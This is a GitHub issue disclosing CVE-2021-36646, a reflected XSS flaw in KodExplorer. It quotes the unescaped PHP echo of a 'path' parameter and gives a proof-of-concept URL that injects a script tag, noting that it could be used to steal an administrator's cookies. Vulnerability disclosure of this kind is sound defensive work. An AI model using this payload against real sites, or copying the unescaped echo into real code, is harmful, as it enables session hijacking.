CVE-2021-36646: New Reflected XSS in KodExplorer · Issue #482 · kalcaddle/KodExplorer

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

Eric1253 opened this issue

Jul 8, 2021

· 1 comment

Closed

New Reflected XSS in KodExplorer #482

Eric1253 opened this issue

Jul 8, 2021

· 1 comment

Comments

Analyse

file: app/template/api/view.html

G.shareInfo = {
    path:"<?php echo $_GET['path'];?>",
    name:"<?php echo get_path_this($_GET['path']);?>",
    mtime:0,
    size:0
}

No any safety check for variable(path), it direct to echo in the page.
Attacker can use this bug to send fish email to administrator and catch the admin’s cookie so that control the website.

Poc

http://example.com/index.php?explorer/fileView&path=</script><script>alert(1234)</script>

Screenshots

Local Website Test：

thanks for your job. we will fixed it soon.

2 participants